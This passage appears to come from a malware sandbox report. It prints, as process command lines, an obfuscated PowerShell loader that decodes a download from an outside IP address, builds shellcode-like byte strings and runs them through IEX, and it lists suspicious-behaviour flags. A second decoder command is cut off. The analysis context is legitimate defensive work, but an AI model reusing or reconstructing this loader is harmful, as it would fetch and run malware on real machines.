Na4Kik1 Ov4 Ep7 Ga5 Su0 Eq0kla4Uly6ArgD Be4KdeAnab5Tot0Iso7 Te4Gub5Dem0 An5 Ko6 lu0 AlDBrn0Max8Sie0 Fo4 Re0 InCchi0Cur0Min7Pit6 Di4non1 Fo5Nas7Skr4TanDTas4dyr0cri4 Af1Gua5Cha6 Am4Hol1Gal0PepA sp6 Ps3Byg4dra1 Di5Kom0 Re6Lug9Neu4Ove1 Le5 He0 Cr4 DaC Es4ElfBMac4Tra0 Ya0SinCMen0Pro0Hal7 Di7Orn5Led0 Ti5 Po1 Tr4Neo9 At5 Ci4 Aa1Hin1 Mi0 HyD St0 EkD Ko0EdeAOve6TruDspr4InsASma5Faw2 Ge4 BaBKli4 LeF So4 ud1 Au0 SuCSta0 Ok0ael4 AlA Su5 No1 Sy4Cyc8 Oc4 la8Jos0Hol8 bo0 Tn4Top6 Ek4 So0 EtCPre0Dur0Com6Bat0 Sc4FrdB To5 Ny3Kat4OveA Pe4Tro2Gar4 No5 st0LimDWor0 PuD li0 taD Ge0TenDSub0 We8 Co0Blo4Bri0Lag0Luk6hen2Bak4Imp5 Fe4mul3 Te4AlgBOst5Pie0 Tr5 Ta0 Fi0 TiDVis0 EaD Sv' Sa;Koo& Pi(Bry`$GlaVkatiHamd Tae Tor Ch7dex) Ma Con`$UnePMour BeoForsProa Pri tosStakOpe1Arb;Can} Aff chu Tan dac Ant opi FaoLepnFor WolGDanD CeTWra Tun{ ChPDelaHenrCaraProm Ov Fo(Rec[ FrPOpsaBenrHela Jum Ine BotRieeAlvrRea(EquPsgeodissDiviFortCoii SuoFyrn Ln Sar=Fan Une0Mer,Non AroM MaaDignDemdBisaBehtPacoNeurOphy Mo Gas=Hel Th`$ FuTvinr DauDele Va)Mil] kl Mar[ RrTSpeyaflp EueEth[ Bi] No] Op De`$ StS Ree Lir StoHyllSlu1 Fr7 Nu9Min,Kny[ GePbara Nor Noa NemPleeSumtCige Hur Ri( TaPUplo FesTroiUnttHapiForoPhon Be En= Uf Blo1Afv)Unv]Inv Edd[ DuT oly SepBaneSup]che Nat`$MelH AnoHasbHageBac Lav=Dek Ac[gruVDipoUnliGigdOff]Bru) Uv; On`$SemP Car BooScrsafsa GaiCous Tik Fa2 Au una=Mon DaUMednUndwRepaPhlk Sue Vo1Skr1 Mo Hyp' va0Bro0Mas7Tri0 Vu4 VaDPar5 Am0Asp5Ges6Afh4 Be1Kom5Pro6ras4sod5Vak4BunATar0 Pu4Tar1Sod9Has0 Re4Fol7HalF Om6For5 Un5 pa4 Tr5svi4 In6Lof0 Fi4 PyB La4Pra9Pla4Arb5Mer4PreD Ma4lanA Ud7Una9 Fa1DzuEMye1StaEEty6Sna7God5und1 Co5Met6Sco5 Sh6For4 Da1 Tr4 VoAPru5Thi0Pis6 Vi0 Ku4KliB An4 sk9 Ha4 Mi5 So4ConDGno4 AfAPar0ItaARum6Nic0 Ud4 Fo1Uni4 Sa2apo4 HeD Sl4EjnA un4 Po1 Gr6Hie0Clo5 AfDCin4 GaA Sl4Pla5Ves4 Ca9Bla4AflDKap4Uni7 fo6Eup5Min5 Se7Myt5 Ud7Raf4Ove1 Hi4Gre9Out4 Tu6 In4Non8 Ar5horDImp0 GaCFor0HviC Ko6tilA Gr4Jur1Ter5Non3 Ha0gyn9 Da6 moBPro4Klo6 Na4 StEPos4 Mo1 Ag4Sum7Mum5Ski0Tou0Har4 Et7Phy7 Fo5BesD Ca5 Sk7Hyp5 Ej0 Ou4Bed1 Ly4 Pa9 An0 reADia7 Ca6 su4Hyp1Pel4Unt2 Aa4Une8Sto4Nom1Dis4 Ad7Vks5Skd0 ku4casD Ca4AusBAst4 MeA Lo0GuzANed6 Ti5 Ba5Agn7Uva5Out7Sku4 ka1 ko4 Ov9eur4App6 Mo4ros8Fet5BodD in6 RoAPsi4Dom5 sp4Tro9 Fo4sko1Bii0conCPet0San0Des7 Bo7 St5Lam0Top5Rea1Par4 Tr9 Th5Rep4 Ge1OgiCOpf0AmmDAff0 BoDUns0 In8 Ga0Phy4Ska7 SpF Mo7 ni7Aut5TitDHan5 Ba7 pe5 Bu0 Sp4Zoo1 St4Sup9Mnj0SpeA La7 Ra6 Yd4Ind1 Fl4Bra2Har4 Mi8Tri4 Sq1Sta4 Ve7 Se5Eva0 Fi4impDsar4tifB Me4EquA To0 UnASka6Lav1Liq4Sem9Der4BenD In5 Ko0 Fo0 CoA ti6 Fr5Rep5Tri7Ect5Bly7Rec4 Kr1Ret4Anh9 Gr4 Fo6 Es4 Ag8Mer5BilDAfs6 Ru6Rao5 Sa1Sli4FemDFas4 Lu8Qua4Mee0 Fu4Opl1 No5spi6Ind6 Te5Kli4Res7 Ci4Til7Ren4 Pa1Stj5 Pa7Ott5 Re7 Re7 No9Gen1 StE Ba1 ChE Da7 Sk6Jui5bev1Tus4BehASky0CykD Fa0 HaABer6Pol0Lej4Pri1Ers4 Un2Kvl4UdfDPro4 HuA Pa4 We1Vej6 Sa0Tri5TilDUdb4 AsA Pr4mis5Flo4 Ge9Hai4 WaDAll4 Ob7Sus6For9Luk4 KoB In4Rms0 Sv5 in1Sek4 or8 Di4Per1 Fo0UndCFin0Cha0Sly7Cou7Div5Dis0Spa5Ele1 He4 Fr9Raa5pri4Avg1 noDFin0 Ru8Kad0 De4Job0 Ca0 Do4 Fa2Der4Sak5Skn4 Al8Hom5Por7Hav4Dri1 No0HobDDis0 ToAEte6Pol0der4 Fo1 Bl4Ger2Ske4HypDPre4 vgA Fr4Sem1Ruc7Bur0 Ul5 reD Sa5Ind4Bio4 li1 Fl0SluCGre0Pte0Fle7For2 Ld4mioDFor4Boo0 Bo4Tre1 Va5 Kv6 Bu1Pul4Mul0 Lo8Tra0 Da4Pan0 Sh0Sum7Epi2And4 LeDKon4 Di0 De4 Om1 Or5 Fa6 Ar1Hal5 Ca0Bav8Gad0 Uv4 Pa7BabFPul7Spa7Bra5DisD Ov5 An7 Vr5Dov0Par4 Ra1Ska4 Ja9Ser0 KaA Bi6Ben9sti5 Po1 Co4Paa8bri5Uta0 Pe4 InD Hu4 tr7 bo4For5 Up5Bre7Fol5Kaf0Tar6Ena0Bur4Mod1Set4Tra8Svi4Ges1Str4eth3Ope4 De5Elh5Owe0Nat4 Le1 Du7 Lo9Dep0 AsD Af'Fem;Dig& Be(Doo`$MusVKubi KodMicePerr Un7Ukr)Ery Sta`$CamPForrKaloEfts BaaTopi KvsOvekner2Bia;Bro`$ RdPBebrVotoImps Uda Exi HasSpek Oc3 Et aut=Kil TiU Ann TmwSivaBeskDide Lo1 Si1Udt Arb' No0Sin0Spo7 Ne0Fed4 VaDJom5lot0Dup5 Bi6Hib4 Om1 Fo5Afh6 Do4 no5 De4TurAFar0 beAUnf6gls0Sen4 Me1 Sp4 ro2Dec4OmrDUnd4 LeAFor4fil1Hel6Bon7 de4 ReBHer4 RaA Re5Chr7 Al5 Fo0 Me5Sen6 Bo5Imi1 Sk4kat7Tes5Opf0Sup4PerB Sv5Lov6Man0SkiC Hu0 pa0Pap7Dyb7suk5Oer0Cur5 ex1 As4Sat9Stj5 Bl4Bom1Uni2Pep0bre8 Fo0 La4Pea7 DaFEla7Isb7Dir5 WeDSle5Ove7 Be5Ald0 St4Ove1Ord4 Fo9 Gr0 JaAOug7Gib6 Da4pro1 Ba4Fan2 St4Dem8Rec4Tor1 Do4Ura7 Ma5hel0udm4SamDSta4 PaBCal4 HoAFor0 OsA Sg6Gng7oph4 Kr5 Un4 Si8 Ud4Per8Bes4MeaD Di4MelAIce4Mad3Sev6Sca7 Ot4 tjB Un4 HeA Ki5Bru2Pin4Gon1Sal4BilAAgr5Hyp0Naj4GruD Tu4 VeB Ca4 UzANon5Tae7Sic7pae9 Cu1outEBly1BegE Ly7 ka7Una5Led0Evi4Non5 Be4MaeALys4Gat0Omf4Org5 Vi5 Bo6Par4 Un0 sc0Tai8Gen0 Fo4Lyk0 St0Mul7 Ko7 He4 me1Cre5Fir6 Ba4LilBBla4 Am8 Ox1Adj5Mag1Lit3 Ov1SkiDSec0OveD Gu0SaiA No7Alu7 Ko4Ser1Sta5lac0gru6SmoDSni4ste9For5 Kl4 Ad4 Sk8His4Des1 Ro4Tan9dam4Rep1Bra4SpiA Ov5Vac0Has4Mas5 Fo5 Re0Bel4 DeDFla4TalB Co4SnaA Co6bia2Erh4Tra8Thi4 Vi5 Re4For3 In5Ref7 St0HalCKog0Rei0Tre7flu7 Eq5Orc0Bjr5 Ty1Laa4Tun9 Pe5 Br4 Kn1Art3Rol0StaDTol'Eul;Ber&Dra(Sku`$sloV Ini BedSage Sor Ce7 Sr)For Rum`$ RePPharShooUrusBeraDrui Tes TikCaf3 Ko; Be`$AnhP MurNavoIntsSeaaMesiSals PokTel4Cat Fej=Ext supU LonRimwNonaBesk Ade Ud1Min1Til Sew' Su0 Mo0Smu7 Me0For4smlD No5unn0 Un5Eve6 Ho4Cro1 Sh5Spa6 Tr4Udv5Exc4SamA En0 AsAcau6 Fe0 Om4Car1Acr4far2Des4EssDUnm4SimABil4 Ho1 Eg6Gge9 Lo4Ant1Lyn5 Kv0 Di4AlmC Gy4SwaBOsp4Soc0 Di0EksCLem0Pre0 Wi7Col2Tre4FreDTel4Jud0Pol4Ani1 Sp5 de6 No1Unt6Udk0 St8 Af0 An4 Hi0fun0Sep7 Si2Eff4SamD Un4 Pa0Unf4yar1 Cl5 Wa6Bes1Uns7 Fo0 Tr8Var0 Pr4Div0 Or0Lan6RamCSku4 coB Ha4 Av6 te4 St1 Bu0Beb8Nar0Vrn4Tri0Sku0Sam7Gas7Dia4Dar1 Ma5Exh6 bi4 SaBprs4Afk8 hm1Mur5 Si1Afb3 Gr1 vaDTaa0SidDLuf0CatA Hv7 Re7 Fe4 Bu1 Dr5Res0 Ve6TymDThi4Int9Ind5Pen4lev4Net8Art4Vap1 pi4Hor9 Fl4 wa1 Tr4PatAOpf5Cei0Ver4Ace5 Pl5 Sk0Him4 PoDPaa4bikBEud4DenADoo6For2 Fi4Unl8pro4Ali5 Co4Svv3 Af5Gel7Pyj0MacCBal0Lim0Bil7Ker7 Be5 Ch0 De5Res1 re4 La9 St5Str4Beh1Saf3 Bo0KluD sa' Au;Raa&Ldr( Fi`$ ReVSlii VadSemeSuprNon7Bre)Lot Foi`$sysPUner TroKoks FuaMoyi flshaakGil4End;Sal`$SkyPCatrKreo Hes traIuliMulsSumkHun5Dar Un=Beb NonU ConNonwRedaChak paeSal1led1 Xa Tou'Ger5For6zan4 Op1Rek5Kay0Ref5Str1Cou5 ru6 Fu4GanApro0Pen4tal0 Sp0Ola7 Kh0 Ba4 ReD No5Dem0 Fl5Pla6 Hu4Alm1 Af5Par6sem4 Gl5App4AzyA bo0HarA ko6Eli7 Br5 Pr6Ecl4 Di1 Fo4Pro5Rea5Pos0 Ly4New1Les7Put0Bor5SenD uf5Dro4Alp4 hy1Uni0DivCHan0cenDVal'Kir;Sea& un( co`$ PeVSteiAwkdTrie UnrInd7Pre)Are Ph`$kroP ClrKaso Ims Thamati Res BlkJor5ego Bis De ang;Pam} Ex`$AcuKKajr FasAsteFillWee No=Slv SkUFoln FawSemaWorkMetegen1Spa1Non Pol' Am4 CoF Gr4Und1Ove5 Vr6Cra4choABul4 Sk1Fld4 Fe8 Bo1Spe7 Sa1uro6 Af'Per;Fis`$ StPCatrEstoAtisAnnaMariSposFilk Cr6Rac Par=Kan OpU WinUndwttha Unk HeeEns1Bid1 Un Kdv'Gry0 me0Wob6 Fo6Din4Bag5Ham4Lis5Lys4BisA Fu4 Ni0 Ir5 Ti7sch4NonFSor0 Se4 Ic1 Ro9 Mu0 Re4Ste7DerFPoe7Cor7Hub5TorD Un5Cil7Stu5Und0 Ma4For1Den4 Ba9Tmr0skrANon7 Va6 Dy5 fr1 Sp4ConA Bo5 Ha0Aft4UfoDRet4 Aa9 Va4pan1Tvr0SedAInd6 RaD Co4MerA Ke5 Go0Dek4 Ab1 Pi5 Mr6Unc4MarBCur5 Af4 Ar7 Ns7Gul4Und1Enc5Mal6 Ac5Lan2 Be4LexDRet4Arb7Rov4Pas1Aek5Tav7Bes0thrAUnr6loe9Ant4 Un5Vir5For6 Su5Rad7 Br4 UnCTum4Cat5Hjo4Afv8 Pa7 tr9Uds1ForEEns1LagE Pr6 Tr3Und4 Fi1Ren5 Tv0 Ar6Tje0 Mu4Blo1 Da4 Fa8 Sl4 Br1Des4 Sv3 Ya4Enk5 Ex5Pro0Dis4 Ma1Unr6 Ca2 Sh4AudBTan5Sum6Hal6Bet2Bys5 Ja1Dec4UndA Un4 Sk7Fni5Fal0Ind4 sqD An4FarB Ab4IntASvb7 un4 Co4TotBSid4TriDTom4BowAobj5 Wr0Cry4Fis1Enk5Bar6Was0 MiCPol0 DeCUnc4 In2Gra4 EfF Yn5Und4Hne0 Un4Fol0Cat0 Fl6SprF Un5For6Hug5 Fa7 Rs4 Et1Aft4 Tn8 Ba0 fa4 Ud0 Fl0Rec7 Ge2Sil4RskD Da4Gal0Bur4Hnn1 Up5Dmp6hes1 Mu0Pat0SemDtub0 Sp8Myn0 Tr4Ban0 SkC Ha6Iso3Lou6 Cu0Dho7Uti0Sti0Tre4 Ha6Dgn4rep0SkjC Dr7AllF Ni6LimD Ko4 SvARec5eft0 Be7 Kr4 Ma5ale0Fre5 Gl6Del7Her9Afb0Hus8Sib0Amp4 Re7RetF Re7Eft1Rek6strD Fa4 TjA Fo5non0Kom1Dis7 Ab1 Ro6Wit7 On9 Co0Pre8Bjr0Arr4Rec7 AmFSid7 br1Bus6ProD Pr4ProA Tu5Wel0Fil1 Ak7 Un1Org6 Pe7 Fi9Com0 Se8Ils0 Le4 Ud7HovFOve7pad1 Es6HypDIde4 guADys5 ud0 Te1Air7Vid1 sp6Har7 Sa9 Ic0JegD Ex0 Ca4 Re0 StC Pu7DebF Ko6HasDUng4 InADea5 Do0Kir7Ole4Wer5 Fo0 He5 pa6Dig7Abr9Ove0 PaDGen0UdtD Go0ComDSlj' kr;Dyk&Unr( Un`$ ToV Uni PrdengeRgnr Af7sil) Gr Deb`$ComPPror Hyo sus Noa Ani TesBrnk Fo6res;bak`$ SkM Bay Tao GltUnvrFouo VepSenh Bl Fan=far Brf Tok Skp De Un`$SekVfori padlaneEler Ko5Vil Sd`$ UrV Suicoyd pre GarRis6San;hen`$ StPComr Neo Crs inaopgiAfssOvekKry7Ene Nse=Gar HavU RenMiswOrga OukStieDec1lan1Ind Uni' De0Trs0 Mi7 Un7Dol4 reASyn4 SaB Ol5Frs6 St4Aut1Fur5Ant0Hja5Tje6fri1Fer7 cu0Ame4Ord1 No9 Ri0 Ko4Sja0 Db0 Ma6Rep6Pre4Udd5 Ga4Han5Aut4BlaA In4 Pr0 va5Ret7Thi4 AfFRep0VagAIde6AluDBru4 SaA Om5Pia2Gan4SkaB Ts4 UnFKal4Fae1 Bl0 IdCSur7VarFPap6 ReDBio4 OrA In5Spi0Est7 Kr4Til5Ari0Spn5Fum6Mel7 An9Ska1TypEHel1AfkE Sl7TnkEMam4 Ne1tre5Omp6Med4ZooBVol0Vol8Gal0Ena4 Ri1 Mi2Pet1Bib0Pha1Aut2 Fa0 Pr8 Fl0Opi4 Fe1Cyt4Aff5PreC Op1 Ov7 Al1Par4 Kj1 Re4Par1Hoe4 Br0 Bl8Ove0Por4Ani1Pic4 Fo5 AbCDra1Rab0 No1Ham4 Ca0WeeD No' Ry;Equ&Sun(Opk`$HorV Fii PedKvaeRolrPed7Sup)Cra Ko`$SynPUmir Probems Tea MuiPoesSapkBel7 Be;Pos`$ MePTher tio LysGoaa FoiDagsKlik Ir8Kon Afs= Gi MisUKatnGalwTeraFlsk PieErn1 Pa1Kul Spy' Te0 to0 De7Pan0 Fo4 CoDGen4ste8 In5Kon7Wal0 Go4Tar1Sou9 Ki0Mil4Una0Bur0 Fl6Kry6Kbs4 Co5 In4 Jo5Gen4UnsAaux4Bus0Pee5Csn7 Be4AnaFVag0BijA Du6PleD Ka4MetA Un5 Fo2 Un4 HaBter4 MoFmon4Doi1Skr0RubC Im7BarFatt6 ReD Cy4 AvA Ni5 Cr0bol7Gas4Lys5Sla0 Di5Paa6 ka7Nit9 Fi1OveE Am1LnoE Bg7TorEOph4Tun1pro5 Fo6 Pa4 FiB Si0 Da8Sjl0 Cr4Sar1 AuCOej1Tra6Flu1 Ma3Rur1Jos6Atm1 Tr2skn1AppD De1 Sp5Pus1 Ua6Ban0Nyt8 Na0 In4Unh1 Sp4Sur5OliC Av1rum7Alm1 St4Non1 No4Oye1Kal4 Bl0 Be8 Am0 Ge4 ho1 Vi4Bra5 KuC Re1Tra0Gud0 GlDBen'Pou; Sy& Re(Ded`$ CoV Hyi Und ReehebrLyr7 Sk)sub Pa`$ AnPJudr Ovo Mas DiaMeli KasSkok In8Fln; Sl`$NysUFlonSpowDisaPsykRugeHen0Dri1 in hyd=Civ Pos'CarhThet DotPicpAto:ind/gil/Epi8Ort4Stu. Ca3Unr8 Op. Ad1Ser3Teg0Pic.udm1Vil6 Sk5 Pa/TaeuMarnLoisAmnaNon.EkseKnim Cez Ko' Pr; Py`$lubU TrnUudw VeaSkrkmuhe be0 Si0 Fo Re=Fab CoaUfrinPriw InaArtkPure Sc1 Re1 Da Mac'Sup0 Ba0 Sa7Rea0aut5Tel6 De4 StDFik4Ink8Rev4Edu8Svo4CytDlab4BlaA Bi0Skm4 Fe1Pre9Pap0Lad4 Na0 PrC Se6 SpA to4Mon1Ele5 Up3med0Par9 Po6 meBMur4 Mi6ren4 TyE Ca4Sab1 Cr4Mer7 la5Lor0 Ap0 Mi4 Ov6 spAFre4Let1sla5 Re0Sjl0 BaA Un7 af3 Go4int1 Al4Ild6non6 Ta7 Ru4Out8 aa4 PaD Tr4Wid1 Cu4UncA Re5 Om0Klu0ErwDLip0 OrA xa6Con0Tri4PadB Du5Pas3Fer4FedAEug4 Hj8Res4 BoBFor4Syn5Str4 fr0Dep7 Od7Opi5 Fl0 Mi5Fag6Biv4 HoD Su4StrA So4Fru3Blg0 AuCPad0Gra0Det7Ema1Trl4MusAAce5Med3Del4 Fe5Gap4SteF Cl4 Ve1 Os1Lor4top1 Em5Pal0 HeD To' Se; St`$DraP lirUdso CosLiga SlicatsIllk Pe8 Hy Per= Or adsU Unn SowAstaStek LeeLan1Kns1 Fu Sum' lo0 Ga0 Tr7 Ka7 Pi4 DeAUnp4AktB Dr5Cur6ynk4Cat1Bet5Opi0 Na5Bes6 En1Far6 Wi1Puj9 Ov0Bor0 Is4 Sl1 Sb4PolA Se5 Un2 Ga1 TeEDer4 Ne5 Za5 Ha4Cry5 Mo4Onc4 Fr0Tro4 Im5 Fr5Ref0 Sa4Sac5Bir'Bad;Fim&Sut( Af`$ GaV Vii Sud ToeLinrSul7Fje)Ses Un`$ FoPHonr HeoNonsArca Sni PasRetkFor8 Af; Ar`$ orSPomnEnhotilr Bre Ent AfrKan2Fan=Sod`$ InS InnGrioAdir Foe Bit barDan2Pen+ Pa'Buk\HalKUnto Inn regAffeVentEndi Ku.oveK AnudaarFor'Per; Fo`$IndTLunrKoriTonl FulSani Unn Na=Her'Que'Cal; Rei FlfRes Sl(Brn-MalnAbsoHyttVom(TraTGrueAcrsSeptHom- SkPTraaTratNathHyd Ent`$ OrSBalnPluoDisrLsee Rit Carged2Ill)Jet)yes Rid{TidwOveh ViiHngl deeYou Bu(Kva`$SkuTGlar dei SylIndl Pai WanAgt Opk-Nepe KiqSys ped' In' Ur)Til Sar{ tr& pa(Wat`$AnoVSabiAkkdPareSinr Ko7 Br) Ri All`$ RaUForn EpwBria Swk AleBun0 Me0 Fo; GaSTentrosaPror Int Re- SoS DilSaleForeSympRol Ko5Dal;Aeq}MinSsnee TytPse- YoCSneoFodn Ret TreNugnSygtraf lec`$UdsS RanUstoLser Mae ImtNeur Ri2 Di Opr`$RhiTVarrHeai Gol InlEquiTitnUni; Ve} Sr`$ KvT Cir HjiDrilAsclEstiMannPas Ber= Sm TrG Che SttExi-FreC VaoGaln Opt BieCennDantSta Ind`$SidSautn AnoTerrFedePertGrerRes2 Me;For`$BurPGalr Guo OrsSala SgiSkusDiak ch9Ins Rai=Enp EmU Fon Sww VaaBook IoeRif1Fan1Ary Li'Reo0Cov0the7Ndv4Exa5Kle6 Sa4RenBAsy5Ara7Cyc4 Ga5Pne4PotD St5Spr7Bei4HejFUti0 Bu4squ1Del9Eva0Pro4Uni7 StFHit7 Si7 Af5GnoDCas5Fib7Gar5 Pi0 Pi4 Un1Min4 Ug9Ged0TruAHyt6Rep7Arm4PunBMag4TilAZac5Jer2 Ka4 Br1 Em5Krt6 Vi5 Ja0 ex7Bat9 Un1 StE Gi1CubEGau6 in2 Un5 St6 Rd4 DuBPse4 Su9Kol6Osg6Bog4Sco5 Ps5 St7 Pa4Pun1 Le1 Pl2Gro1lut0 No7 ve7 Bo5Har0 Ua5Sub6 Ti4 IsDDri4 SpA An4Spr3Dem0IntCGea0Nut0 Sk7Rei0For5All6 Cy4 CoDFor4Hud8Sal4 Lr8For4VagD Po4SheAopb0 paD Re'Ero;Smu&Sty(Sly`$SulV gaiRundSeme AfrYel7Ban)Bol Fo`$ StP Nor InononsPopaAlti BosmickFor9 Na; Di`$ BlT Rer Noi OtlGlylAfsi Jan Re0Tel Pur=hos TofUAdanSkrw GraSubkSyme br1 Un1sto Be'obt7KuvF Re7nep7Ank5CelD Ve5 Sp7Klb5Meg0sti4Sla1Spj4Sam9Dag0GodAPro7Rin6 Lj5Sco1 Pn4ThrA Se5Tic0Fol4AmaD Co4ron9 No4nyd1 in0KunAUnd6LixDShu4LymAOmb5 Pa0Ins4fri1Spi5 Re6 Im4TreB Ut5Exp4Poi7Sku7 Tr4 Ri1Soa5Mau6 Fl5Big2Eld4 PiDAut4 ti7 Bl4 Si1 Al5 Ba7Ras0 JaAVu 6una9 Gr4 Ku5 Ra5Sko6Des5 Sa7 al4 SkCCen4pos5San4 Ps8Ath7 Gr9Sli1 BiEKom1SndE Un6exf7 Hy4 BuBRhi5Mai4Imp5RstD Sp0 BeC he0 Fo0 Da7Ska4sip5 Fo6Una4 ReB Dy5 Dy7Qua4 ov5 Sp4 ChD Fi5Spy7 di4PreFPyr0Ark8 Sk0sig4 Ch1Sma4Far0 De8 Di0 Ko4Udl0Gge4New0Sno0Cha7Tag7 Ra4KirA Di4LarB lg5 Bl6 Ro4Pro1slu5 Pr0Avi5Pro6Erf1Tra7 Pa0Fer8 Je0Udl4Alm1 Fu2 Sp1Sln0Cis1Fol2gan0EvaDCam'Grs; In&Spr( An`$mooV AditridGune Jor su7Mul)Hja Kvi`$MulT Esr Qui phlArslHydi ArnUns0Iso;Unt`$PseF FlsStet Prn Nae SvrTagh GraUdk=fro`$ TuPUndrAndo TrsAltaFuniUbesSquk Re.Thec teoHisuKrfn SatBrd-Phi6Not4 Kr6Per; Gr`$PriTGonr RoiGutlAnilhydi Snnsph1 Ku Agn= Bl AccU innNonwScoapark LieBro1for1Ens La'Fag7 udF Pe7 Te7 Ra5DruDSpi5 Sy7Pun5Sem0 La4Fll1 Re4 De9 Di0HolAWes7 Tu6 Kj5 Ig1 Di4FerAfir5Coe0met4MacD Be4 sp9 Ha4Adm1 dy0 MaADeh6ForDTra4AssATry5Edi0Ski4bom1 Bi5 Fo6 or4BesB Pa5Men4Ver7Bla7fli4 Ro1Gif5Ant6 Ek5Moh2 Ov4JorDSkr4 Ss7Abs4 Gr1Pat5ast7Cla0 NeAiro6 Sl9 De4Reh5Sou5Mag6 Li5 po7Org4 nuC Ud4Cau5 Re4 Ku8 Ba7 Va9Sta1 ovEApp1PlaE Pr6 An7Min4TasB Ch5Tra4 Bi5 DiD Mi0ThoC Sp0Rep0Koo7 In4 Ru5 Lv6Dat4 CeB Ud5Pro7Cod4 No5She4IndDOut5Sky7Gun4 LaFApl0Til8Ord0Dek4 fi1Rea2Non1Eph0 Su1Nic2 Ra0 fo8 St0con4 Se0 un0Mut7Tra0Ast4FolDPad4Sna8 Dg5Lur7Sip0 Ai8 St0Enc4 Ud0 As0 Fa6Arb2Str5Rep7 Be5Sup0Non4RetA co4haw1Skr5 El6Lno4DowC Tr4 Po5Kli0AagD Ge'Asp; Sa&Uno(Pro`$ ReVOlai AcdSvre DrrClo7Con)gul Sup`$ SkT Str Eni Stlsyglreai KonUnp1Mel; Es`$ GrTBanr CoiWamlAnelBeriXennDok2 Pr Udf= Pe SorU SinDecwArma cekIche Ca1Fut1 co Em'Smu0Res0 St6Bra8Ups5 Am7Omb4Equ1 Gs5 Te4 No4 Bj1arg4uruABla4 Se3 Sa4Nsk1Sal0Ben4For1 Tj9Clo0 ur4Zoo7ArcFFle7Mel7byr5ComDMai5Bea7Mil5Til0 At4Bac1 Va4Emi9Opt0 FiAOrd7 Fu6 Re5 Sm1sju4 VeA Co5Kul0Com4 SbDSym4Cho9Lat4Zak1 Hy0 OpA Sh6PupDNon4 HaANit5 Te0 So4Und1Thi5Spa6 Ti4OpvBHeg5Lya4Try7Cyb7 Ta4 Tr1Non5 Fu6 La5 Pr2 Ct4ParDKol4Dom7 Th4 Sc1Seq5 Sa7Red0BemAPla6vre9Slo4 En5Com5 Qu6For5Ide7 Ra4EdmCSta4Sha5Lac4tov8Sup7Gni9Sei1 EjESem1SalE Vi6 Se3 Gi4Wit1Eye5 It0Kla6Sko0Poo4Tri1 Li4For8Opb4 Ba1Gro4Age3 Ha4 Ra5Dis5 Op0Hkl4Tim1 Ex6Rek2Pro4subBVis5 Fi6Sol6 Ge2 fr5Pre1 He4SelABre4 Li7Pat5 sq0Opi4 StDThy4thiBHel4EftAFor7 Br4Mor4GenBudd4 BeD Mi4 DoA bu5 Ka0Gen4Nat1Kry5 Ir6Sti0EncCHel0MegCKis4Uns2 Ps4GloFbjr5 Tr4Gna0eft4Lge0Fys0Thy6 Va9 La4 KaBrhe5 In0For4 KlBKnt5 sp6afs5 na7 Zo5Cli4 Di4AsaB Sj0Pan4 Va0 Bi0 St6IndE As4Sta1jct5Ant3Sol4Par2The4LftDInu5For7Spa4CadCMul4Ren1Int5tri7 Po5 St0Udj0modD Af0Sky8Spr0Pal4 Di0 GeCThe6Ste3Aec6Skj0Str7Ens0 Gu0 Ud4 La6Kon4Lnt0HemC An7 LaF Di6 SeDBed4 SkACui5 Ra0 Ce7 Sk4Lre5 Be0Cre5Smi6 Te7Non9Pen0Row8 Re0Dem4gal7CapFSpi6 SyDFan4SelAvdd5Ank0And7Kit4 Sk5 Ov0Van5Pr 6 Un7Pos9Tes0 Va8 No0Par4Aut7 DiFSta6PasDUfr4 PeAArk5Pla0phl7Mil4 Up5Sug0Ost5Psi6 Su7Ude9Cic0Kon8 Bu0Per4Rec7 VaF Fa6ImpD Bo4 UnA Pr5Tri0Org7Ols4Anl5Nav0 Pa5Bob6Lde7Cyl9 St0Exp8 po0War4Pok7PedF Du6SalDSem4styA Gl5rig0 Pr7 Mi4Fau5str0Spi5Try6Pic7Sem9Syn0ForD Ho0 An4 Re0 BeC Br7UnpF Sa6DogDFor4JorA Ut5Mon0Maa7 Ma4 Go5 Bl0Tri5 ts6cot7Skr9Scu0SocDFox0 TjDLie0 KaD Sy'Tec;Eco&Tve(San`$BlaVLati Sud NaeColrPad7 Of)Fem Hyd`$nonTModr GsiFaalAlrlSpei PenOpt2 De; En`$OutTForrAfdiPsylUnfl ThiMarnBej3Shi Ove=Sti PilU Nonquaw Tha DokUboe ne1Cra1 Ho Mi'Opk0 Bi0 Be6rac8 De5 Fo7Ema4 Ma1Sni5Dis4Pre4Ufo1Kha4ErtA Cr4Non3Sun4 Dr1 Hv0 CaAUna6LusD Te4ResAInc5 ma2Att4 SkBAfs4BesFHos4Rad1Bli0 SeC Ly0 St0 no7wat7 vi4 ChASch4 FjBAut5Hak6Bez4Tri1Skr5 De0Bak5 So6Ugl1Pri7Moi0 Si8Dem0 Pi0Sew7 Sp0 Ek4 BoDReg4Gio8Sto5 Ko7boo0Fre8 Ra0 Ul0Ove6Lar9Grv5OpnDsen4 JoBCha5Skg0Dis5Cis6 Pe4BroB Fo5Taa4 Ar4EuoCHov0Trs8 Sn1Gly4Eks0 Ln8 Us1Spr4Out0SlaDHjl'Kal; Cr&Fre(She`$ DiV EkiSkyd Tie Har go7for) Bi Fu`$ BeTBarrUpliFell Mal TeiUninTap3Ere#Tre;""";Function Trillin9 ([String]$Amassm) { For($Teor=3; $Teor -lt $Amassm.Length-1; $Teor+=(3+1)){ $Unwake02 = $Amassm.Substring($Teor, 1); $Unwake = $Unwake + $Unwake02; } $Unwake;}$Antiparab0 = Trillin9 'TarI ElEKarXMul ';$Antiparab1= Trillin9 $metafysi;if([IntPtr]::size -eq 8){.$env:windir\Syswow64\W*Power*\v1.0\*ll.**e $Antiparab1 ;}else{&$Antiparab0 $Antiparab1;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\Syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\Syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Unwake11 { param([String]$Amassm); $Pala = New-Object byte[] ($Amassm.Length / 2); For($Teor=0; $Teor -lt $Amassm.Length; $Teor+=2){ $Slutstrre = $Amassm.Substring($Teor, 2); $Pala[$Teor/2] = [convert]::ToByte($Slutstrre, 16); $Slutstrre = ($Pala[$Teor/2] -bxor 36); $Pala[$Teor/2] = $Slutstrre; } [String][System.Text.Encoding]::ASCII.GetString($Pala);}Set-Content 'E:\c.dat' '1';$Trsk = Get-Content 'E:\c.dat';;$Stump0=Unwake11 '775D575041490A404848';if ($Trsk -eq '1') {$Stump0 = ''};$Stump1=Unwake11 